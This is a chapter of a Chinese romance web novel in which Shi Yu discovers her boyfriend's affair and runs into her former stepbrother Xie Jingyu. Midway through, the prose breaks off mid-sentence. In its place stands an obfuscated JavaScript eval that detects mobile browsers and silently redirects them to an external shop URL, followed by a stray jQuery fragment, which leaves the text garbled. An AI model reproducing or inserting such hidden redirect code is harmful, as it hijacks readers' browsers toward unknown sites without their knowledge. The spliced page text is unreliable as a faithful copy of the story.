3. 2
    那应该是在施予进入谢家的几天后,不过他骂得不是这句,而是愚蠢。

    想来,这些年他骂人功力见长呐,已经从描述事实进展到人身攻击了。

    而且白眼狼这句骂声与当下时空不想融合,仿佛是谢景煜对于她这么多年行为的概括。

    施予不愿意再想下去,知道眼前人是他了,反倒冷静了下来,她找到了张酒店大厅的沙发,坐在那里,闭上眼静静地回想那三个字,没顾上跟眼前的谢景煜问话,就那样睡着了。

    再醒来时分,周围已不见了人影,明姐推着她,晃了晃她肩膀,和身后刚刚为她介绍过的一群人打趣:“我们施予不会喝酒,竟然在这里睡着了。”

    施予脸色有些窘,她揉了揉眼,璀璨的灯光像星光一样在眼前荡开,她眼神在人群里张望,找着谢景煜,人不见了。

    她回神,起身回房间,却看到李彬在她身后,喝多了眼神有种微妙的笑意,让她浑身一冷,酒醒了。

    第二日会议照旧开了一天,继续讨论继续分享成果,施予被这些学术成果冲昏头脑,她昏沉沉地,加上昨夜里喝了酒不舒服,只好给霍礼打电话,让他来接她。

    一直到了晚上,霍礼才打车前来。霍礼人原高挑、精壮、阳光明媚,研究生那会喜欢打篮球,身体越发地好,毕业了直接签到京市一家能源类公司,几年下来,因常待在应酬场上,有了些啤酒肚,身材就走了样。

    他自然地接过施予的包,背上,拿起车钥匙,两人一前一后地走去停车的地方。

    天色暗,看不清周边的花花草草,风声清淡地扫在两人脸上,他们从车屁股后走上前,施予疲惫地躺在车里,打算回家好好睡一觉,刚一闭眼,就听到霍礼松开安全带,下了车。

    黑色沃尔沃S60车前引擎盖上不知道何时放了一束花,霍礼拿着回到了车上,疑惑地看了看,递给了施予。

    施予闻到了花的香气,接过,眉眼间有了笑意,他还算好,知道自己昨日里生了气。

    “谢谢。”

    霍礼困惑,翻开花束上的卡片,上面有用钢笔写就的祝福语:“毕业快乐。”

    他念出了声,又尴尬澄清:“不是我送的。”

    “嗯?”施予看着这束尽情绽开的花束,几朵绿心的向阳葵堆在一起自在盛放,一旁几支柠檬黄的跳舞兰歪斜可爱,又有绿色枝芽环绕,包装精美用心,她翻到了里面卡片,明白了是谁,又看了看霍礼不快脸色,警觉地问:“你在哪里拿到的?”

    “就放在车盖上,你没看到?”

    “没有。应该是送错了吧。”施予对送花人心知肚明,却不想将这件事放在心上。

    霍礼脸色不对劲,他将花放在车后座,有些吃味:“不会是你的追求者吧。”

    “吃醋了?”施予笑,安抚着霍礼情绪。

    “怎么会?我高兴还来不及呢,说明我女朋友很有市场。”

    “市场?”

    施予对霍礼的说辞很不高兴,她微微皱眉,她不喜欢听到市场这个词,好像女人是货品一样,更不愿意听到这个词从霍礼嘴里讲出来。

    霍礼却没在意:“行了,走吧,到家天都要黑透了。”

    车子很快开走了,丢下了身后一直注视着她的身影。

    -

    施予头有点痛,那束花的香味太过浓烈,惹到她浑身都是花香,一路上她闭上眼睛小憩,但是谢景煜的身影总是跑出来,他到底什么时候出现在她身边的?他为什么要像鬼一样地忽隐忽现?又丢下那样一句莫名其妙指责她的话就走了,她还没来得及跟他打招呼呢。

    毕竟是曾经的哥哥,不是吗。

    很快到了家,霍礼将车子停好了,上了楼,他将施予的包拿下来,提在手中,施予跟在他身后上楼。

    两人像老夫老妻一样自在,熟悉的像是左手摸右手,说起来,早在她博士还未毕业时候,霍礼对她承诺,等到她毕了业他们就结婚,如今她毕了业,找了份还算稳定的工作,他倒像是忘记了一番,不再提那茬了。

    施予在心里嘀咕,也许是他们两人都太忙的缘故,霍礼工作不到三年就升至部门经理职位了,喝酒应酬是家常便饭,施予如今科研压力也大,三五年内出不了成果很麻烦,他们之间顾不上谈论结婚这件事也很正常。

    只是施予的妈妈总是提醒她,让她主动点,别到时候被霍礼抛弃了。

    施予劝慰妈妈,不会的,霍礼是个好男人,等忙过了这一段吧。

    到了家,霍礼先去洗澡,施予窝在沙发里举着pad整理文字,明日里学院的公众号需要此次活动的宣传稿,她得加急搞出来。

    刚准备投入工作,一旁手机叮咚叮咚响起来,是霍礼的手机。

    “你手机响了。”

    房间那头传来哗哗的响声,霍礼没听到,施予想了想,起身将手机拿起来,递给了浴室里的霍礼。

    “电话。”

    霍礼专心洗澡,看到施予拿着手机,猛地惊了一下,又看施予戴着眼镜在忙着,放了心。

    施予手指滑动着屏幕,再次检查着稿件的错字和问题,想起了霍礼刚刚莫名其妙的反应,觉得不对劲,他好像很介意她碰他的手机?

    她摇摇头,赶走不快的想法,不一会儿,霍礼围着浴巾出来了。

    “还在忙啊?”

    他上前来抱住她,施予滚进他的怀里,放松惬意。

    叮咚手机又继续响起来,打断了两人的缠绵,霍礼起身去看,又很快收掉了手机。

    “怎么了,有事吗?”

    “没事。”

    霍礼点开手机,皱着眉头回消息,刚回完一条,消息又肆无忌惮地进来,施予顿时没了兴致,她起身去厨房倒水喝。

    “小予,领导有个表今晚就要,我得赶回公司一趟。”

    施予忍住心中怒气,她指着一旁电脑说:“非得回去吗?在家办公不行?”

    霍礼一脸抱歉:“不行,公司数据保密,严禁用个人电脑上传,你不是不知道。”

    施予摊开手,无奈地表示同意。

    得,她好不容易和他一起的周末泡了汤。

    霍礼见施予松口了,眉开眼笑地过来,他将手机放在餐桌上,凑上前去亲施予。

    “老婆你最好了。”

    施予别开他凑过来的脸,男人的嘴总归是在这个时候最甜。

    她的眼神再次落在他放在桌上的手机,忽然,霍礼手机铃声再次响了起来,一条刺目又娇滴滴的微信进入施予眼睛里。

    【笔芯,爱你~】

    而后那亲密的短信一条条扑进来,是年轻女孩热烈的心思。

    【房间开好啦!不许迟到!】

    【你喜欢吃什么?】

    意识到身旁人身体僵住的那刻,霍礼大脑有些迟滞,他松开施予

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729109|145011||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    肩膀,重新拿起手机,但被施予眼疾手快扣住了。

    该说霍礼是愚蠢还是对此不在意,他竟然不设置隐私聊天,以至于那露骨的短信一条条地往出蹦,施予想说服自己没看到也很难。

    气氛僵住了,她没想到自己的心情第一时间竟然不是生气,而是尴尬。

    现在霍礼肮脏的丑陋的姿态摆在她面前了,她没法将霍礼和出轨那两个字划等号。

    她起身,去了客厅,找到自己褪掉的衣服裤子,重新穿上。

    “既然如此,这里让给你们好了。”

    “小予,你听我解释。”

    “解释什么?”

    “那是我们组新来的实习生,业务能力有点弱,我带带她而已,你多心了。”

    “嗯那刚好,你总归很喜欢工作。”

    “你不相信我!小予,我们在一起这么多年,你竟然不相信我!”

    霍礼说话带着哭腔,他看着眼前脸上并不表露过多表情的施予,心中有一丝恨意。

    她总是这样,令他感到乏味。

    哼,施予在心中冷笑,这种倒打一耙的指责谢家儿子早就让她领教过了,她熟悉他们这种做错事狡辩的套路,要是真道歉她还能相信他没做过,现在这样基本就是真的了。

    “你真有种。”

    施予表扬他,并不打算与他对峙,拎着刚刚被他表示爱意提着的包,打算要走,却被霍礼拦腰抱住。

    “小予,我爱你,真的,我们结婚吧。”

    “你在做梦吗?”

    施予看着眼前乞求着不要走的男人,顿觉得他很陌生,五年来他们一同成长,一同进步,她畅想跟他过平淡生活,没想到在这里分崩离析。

    见施予不为所动,霍礼恼羞成怒,他抓狂地跳起来,指责施予:“你就没有错吗?你不是也收到了陌生男人的花,我说过什么吗?她非要找我我有什么办法?难道我辞职吗?你知道我找这份工作多么不容易吗?你以为我天天喝酒应酬很开心吗?你就不能体谅体谅我?”

    “体谅你出轨?寻欢作乐?夜不归宿?满嘴谎话?”

    施予摊开手,她确实做不到体谅他这些。

    霍礼哑口无言,他松开了手,让施予走。

    施予提着包,离开了霍礼的家。

    她六神无主地开着车,满京市乱逛着,原想回位于京市六环外的家,但一想到母亲已经歇息,这个点回去,肯定会让她起疑心,她烦闷地将车停在了一边,看到了后视镜里车内放置的花,点开了音乐,放了老大,开着车在环城立交上转悠,不知不觉地,就又来到了郊外的那座度假酒店里。

    车子到了酒店门口,施予看着酒店门口垒砌的假山喷泉,又觉得自己不清醒了,她来这里做什么呢?

    难道还以为自己是那个受了委屈会得到面包和安慰的小女孩,她在想什么呢?

    真是糊涂。

    施予又将车调转了方向,刚一调头,刺目的车灯直愣愣地打在她眼前,身后前进的车响起刺耳的鸣笛声,一声不大不小的撞击传来,车里司机走了下来,对着乱开车的施予一通训斥。

    黑色奔驰轿车里的谢景煜打了打哈欠,放下了手中这一季度酒店的营业财报,眼神瞥向车前混乱的场景,躲开因近光灯照射发出的光晕,一转眼,看到了在灯光照耀下的施予。

    那是一张动人的、倔强的、同时也让他痛恨的脸。